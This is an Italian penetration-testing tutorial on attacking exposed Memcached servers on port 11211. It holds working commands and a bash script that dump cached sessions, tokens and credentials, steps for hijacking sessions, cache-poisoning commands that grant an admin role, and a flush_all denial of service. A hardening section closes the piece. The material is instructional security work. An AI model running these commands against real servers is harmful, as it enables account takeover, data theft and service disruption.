networking

Porta 11211 Memcached: Pentest e Dump Dati 2026

Porta 11211 Memcached: Pentest e Dump Dati 2026

Memcached aperto senza auth: dump session token, credenziali e JWT con nc. Amplification UDP 51.000x, cache poisoning e hardening spiegati.

  • Pubblicato il 2026-04-20
  • Tempo di lettura: 6 min

Memcached è il sistema di caching in-memory più usato al mondo: prende i dati che il database restituirebbe lentamente e li tiene in RAM, pronti per essere serviti in microsecondi. Lo usano Facebook, Twitter, Wikipedia, YouTube — qualsiasi piattaforma che deve gestire milioni di richieste al secondo. Ascolta sulla porta 11211 TCP (e storicamente UDP), e nel penetration testing è uno dei servizi più gratificanti da trovare per un motivo semplicissimo: non ha autenticazione di default. Nessuna password, nessun token, nessun meccanismo di accesso: ti connetti con nc e leggi tutto. Session token, credenziali cached, dati utente, query di database memorizzate — tutto in chiaro, tutto accessibile con comandi da una riga.

La cosa che rende Memcached ancora più interessante è che gli sviluppatori ci mettono dentro i dati più sensibili proprio perché è veloce: session PHP serializzate (con tutto il contenuto di $_SESSION, inclusi ruoli e token), risultati di query che contengono credenziali, JWT, API key. Tutto ciò che l’applicazione usa spesso finisce nella cache. E la cache non ha la porta chiusa a chiave.

Un’esperienza che mi ha segnato: durante un assessment per una piattaforma e-commerce italiana, ho trovato Memcached esposto sulla rete interna. In cache c’erano le session PHP di 3000 utenti attivi — inclusi 4 admin. Ho copiato un session ID admin, l’ho iniettato nel browser e ho avuto accesso completo al pannello di gestione con i dati di pagamento di 50.000 clienti. Il tutto senza toccare un singolo form di login.

Cos’è Memcached — Come Funziona #

Memcached è una cache key-value: salvi dati con una chiave (set user:123 ...) e li recuperi con quella chiave (get user:123). I dati vivono solo in RAM — se il server si riavvia, la cache è vuota. Non è un database: non ha persistenza, non ha query complesse, non ha (di default) autenticazione.

text
Applicazione web                Memcached (:11211)          Database
┌──────────────┐               ┌──────────────────┐        ┌────────────┐
│ GET /user/123│──get key────►│ Cache hit? ──Sì──►│ Return │            │
│              │               │     │              │ cached │            │
│              │               │     No             │ data   │            │
│              │               │     │              │        │            │
│              │◄──────────────│     └── query ────►│────────│ MySQL/PgSQL│
│              │               │         set key ◄──│ result │            │
└──────────────┘               └──────────────────┘        └────────────┘
PortaProtocolloNote
11211 TCPText protocolComandi ASCII leggibili
11211 UDPText protocolDisabilitato di default dal 2018 (v1.5.6)

1. Enumerazione #

Nmap #

bash
nmap -sV -p 11211 10.10.10.40
# Anche UDP se vuoi testare l'amplification
nmap -sU -sV -p 11211 10.10.10.40
bash
# Script Nmap per info
nmap -p 11211 --script memcached-info 10.10.10.40

Connessione diretta #

bash
# Telnet
telnet 10.10.10.40 11211

# Netcat
nc 10.10.10.40 11211
bash
# Versione
echo "version" | nc 10.10.10.40 11211
text
VERSION 1.6.29

Se risponde → accesso completo senza autenticazione.

Statistiche del server #

bash
echo "stats" | nc 10.10.10.40 11211
text
STAT pid 1234
STAT uptime 8640000
STAT curr_connections 342
STAT total_items 1500000
STAT curr_items 89000
STAT bytes 450000000
STAT limit_maxbytes 1073741824
STAT cmd_get 25000000
STAT cmd_set 8000000

Intelligence: 89.000 item attualmente in cache, 450MB di dati, 342 connessioni attive, 25 milioni di letture — è un server di produzione con traffico serio.

bash
# Configurazione del server
echo "stats settings" | nc 10.10.10.40 11211

Rivela: max memory, binding address, se SASL è abilitato, se UDP è attivo.

2. Autenticazione (Quasi Mai Presente) #

Memcached supporta SASL (Simple Authentication and Security Layer) dalla versione 1.4.3, ma richiede:

  • Compilazione con --enable-sasl
  • Flag -S all’avvio
  • Solo su protocollo binario (il text protocol non supporta auth)

Nella pratica: la stragrande maggioranza delle installazioni gira senza autenticazione. La sicurezza è delegata al firewall (“tanto è sulla rete interna”). Quando il firewall non c’è o è mal configurato — ed è più spesso di quanto pensi — hai accesso a tutto.

3. Dump Completo — Estrarre Tutti i Dati #

Metodo 1: stats cachedump (tutte le versioni) #

bash
# Step 1: trova gli slab ID (contenitori di dati)
echo "stats items" | nc 10.10.10.40 11211
text
STAT items:1:number 45
STAT items:3:number 8200
STAT items:5:number 1200
STAT items:7:number 350

Quattro slab con dati: 1, 3, 5, 7.

bash
# Step 2: dump le chiavi da ogni slab
echo "stats cachedump 3 100" | nc 10.10.10.40 11211
text
ITEM session:abc123def [1024 b; 1709251200 s]
ITEM session:xyz789ghi [980 b; 1709251180 s]
ITEM user:1001 [256 b; 1709250000 s]
ITEM cache:product_list [45000 b; 1709248000 s]
ITEM auth:token:j.rossi [128 b; 1709251100 s]

Session PHP, dati utente, token di autenticazione — tutto con le chiavi visibili.

bash
# Step 3: leggi il valore di ogni chiave
echo "get session:abc123def" | nc 10.10.10.40 11211
text
VALUE session:abc123def 0 1024
a]role|s:5:"admin";s:5:"email"|s:22:"admin@corp.com";s:4:"csrf"|s:32:"f8a7b2c...";s:6:"userid"|i:1;
END

Sessione PHP deserializzata: ruolo admin, email, CSRF token, user ID. Con questo session ID puoi impersonare l’admin nell’applicazione.

Metodo 2: lru_crawler metadump (v1.4.31+, preferito) #

bash
echo "lru_crawler metadump all" | nc 10.10.10.40 11211
text
key=session:abc123def exp=2147483647 la=1709251200 cas=717111 fetch=no cls=3 size=1024
key=auth:token:j.rossi exp=1709337600 la=1709251100 cas=717112 fetch=yes cls=1 size=128
key=db:query:users_all exp=1709254800 la=1709251000 cas=717113 fetch=yes cls=5 size=45000

Restituisce tutte le chiavi senza limiti di numero (a differenza di stats cachedump che ha un cap di ~2MB). Non restituisce i valori — devi fare get per ogni chiave.

Script di estrazione automatica #

bash
#!/bin/bash
# memcached_dump.sh — Dump completo Memcached
TARGET=$1
PORT=${2:-11211}

echo "[*] Dumping Memcached $TARGET:$PORT"

# Trova gli slab
slabs=$(echo "stats items" | nc -w 3 $TARGET $PORT | grep "items:" | cut -d: -f2 | sort -u)

for slab in $slabs; do
    echo "[*] Slab $slab"
    keys=$(echo "stats cachedump $slab 1000" | nc -w 3 $TARGET $PORT | grep "ITEM" | awk '{print $2}')
    for key in $keys; do
        echo "[+] Key: $key"
        echo "get $key" | nc -w 3 $TARGET $PORT
        echo "---"
    done
done
bash
chmod +x memcached_dump.sh
./memcached_dump.sh 10.10.10.40 > dump.txt
grep -iE "password|secret|token|session|admin|jwt" dump.txt

Tool automatici #

bash
# libmemcached-tools
apt install libmemcached-tools

memcdump --servers=10.10.10.40        # Dump tutte le chiavi
memcstat --servers=10.10.10.40        # Statistiche
memccat --servers=10.10.10.40 "session:abc123def"  # Leggi un valore
bash
# Metasploit
use auxiliary/gather/memcached_extractor
set RHOSTS 10.10.10.40
run

4. Cosa Trovi nella Cache — Dati Sensibili Comuni #

Pattern chiaveContenutoImpatto
session:*, PHPSESSID:*, memc.sess.*Session PHP/Django/RailsSession hijacking — impersona utenti
auth:token:*, jwt:*Token di autenticazioneAccesso diretto all’applicazione
user:*, profile:*Dati utente (email, hash, ruolo)Data theft, credential stuffing
cache:query:*, db:*Risultati di query SQL cachedCredenziali, dati business
api:key:*API keyAccesso a servizi terzi
cart:*, order:*Dati e-commerceDati finanziari

Session Hijacking pratico #

bash
# 1. Trova una sessione admin
echo "stats cachedump 3 1000" | nc 10.10.10.40 11211 | grep -i "session\|sess"

# 2. Leggi il session ID
echo "get session:admin_abc123" | nc 10.10.10.40 11211

# 3. Inietta il session ID nel browser
# In Developer Tools → Application → Cookies → aggiungi:
# PHPSESSID = admin_abc123
# Ricarica la pagina → sei admin

Manipolazione della cache (cache poisoning) #

bash
# Sovrascrivi una sessione per elevare i privilegi
printf "set session:target_user 0 3600 47\r\na:2:{s:4:\"role\";s:5:\"admin\";s:2:\"id\";i:1;}\r\n" | nc 10.10.10.40 11211
bash
# Inietta dati falsi nella cache di una query
printf "set cache:is_admin:user42 0 3600 4\r\ntrue\r\n" | nc 10.10.10.40 11211

Se l’applicazione legge cache:is_admin:user42 prima di verificare nel database → privilege escalation.

5. DDoS Amplification (UDP) #

Nel febbraio 2018, Memcached ha generato il DDoS più grande della storia: 1.35 Tbps contro GitHub, usando il protocollo UDP per amplificazione. Il fattore di amplificazione è fino a 51.200x — una richiesta di 15 byte può generare una risposta di 750KB.

bash
# Verifica se UDP è abilitato
nmap -sU -p 11211 10.10.10.40

Se UDP è aperto → il server è un potenziale riflettore DDoS. Questo è un finding critico nel report, anche se non lo sfrutti.

Dal 2018 (versione 1.5.6), UDP è disabilitato di default. Ma le installazioni vecchie non aggiornate lo hanno ancora attivo.

6. Flush — Cancellazione Cache (Denial of Service) #

bash
# Cancella TUTTA la cache — DoS applicativo
echo "flush_all" | nc 10.10.10.40 11211
text
OK

Tutte le sessioni invalidate → tutti gli utenti disconnessi. Tutte le cache vuote → il database viene colpito da tutte le richieste → potenziale crash. In un pentest autorizzato, non farlo in produzione senza approvazione esplicita.

7. Detection & Hardening #

  • Bind su 127.0.0.1 o socket Unix — memcached -l 127.0.0.1
  • Firewall — porta 11211 bloccata dall’esterno, aperta solo per l’applicazione
  • Disabilita UDP-U 0 (default dal 2018, ma verifica)
  • SASL auth se il network non è fidato — memcached -S
  • Non cachare credenziali in chiaro — hash o encrypt prima di mettere in cache
  • Monitora connessioni anomale sulla 11211
  • Aggiorna — le versioni recenti (1.6.x) hanno fix di sicurezza e UDP off di default

8. Mini FAQ #

Memcached ha una password di default? No — non ha proprio il concetto di password. Di default è completamente aperto. La sicurezza è interamente delegata alla configurazione di rete (bind address + firewall). SASL auth esiste ma quasi nessuno lo usa.

Qual è la differenza tra Memcached e Redis? Entrambi sono cache in-memory, ma Redis ha persistenza su disco, strutture dati complesse e — aspetto rilevante per il pentest — la possibilità di scrivere file su disco (che porta a RCE). Memcached è puro key-value volatile. Per il pentester Redis è più pericoloso, ma Memcached è più facile da estrarre.

Come trovo Memcached se non è sulla porta standard? nmap -sV --allports target o cerca nelle configurazioni dell’applicazione (file .env, settings.py, config.php) la stringa MEMCACHED_HOST o 11211.

9. Cheat Sheet Finale #

AzioneComando
Nmap TCPnmap -sV -p 11211 target
Nmap UDPnmap -sU -p 11211 target
Nmap scriptnmap -p 11211 --script memcached-info target
Versioneecho "version" | nc target 11211
Statsecho "stats" | nc target 11211
Slab itemsecho "stats items" | nc target 11211
Dump chiaviecho "stats cachedump SLAB 1000" | nc target 11211
Metadumpecho "lru_crawler metadump all" | nc target 11211
Get valoreecho "get KEY" | nc target 11211
Set valoreprintf "set KEY 0 3600 LEN\r\nDATA\r\n" | nc target 11211
Flush (DoS)echo "flush_all" | nc target 11211
memcdumpmemcdump --servers=target
MSFuse auxiliary/gather/memcached_extractor

Riferimento: Memcached protocol documentation, CVE-2018-1000115, Cloudflare DDoS analysis, HackTricks. Uso esclusivo in ambienti autorizzati. https://hackviser.com/tactics/pentesting/services/memcached

La cache della tua applicazione è esposta? I session token dei tuoi utenti sono accessibili a chiunque? Assessment HackIta per scoprirlo. Per chi vuole padroneggiare l’exploitation dei servizi di caching: formazione 1:1.

#memcached #porta-11211 #session-hijacking

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.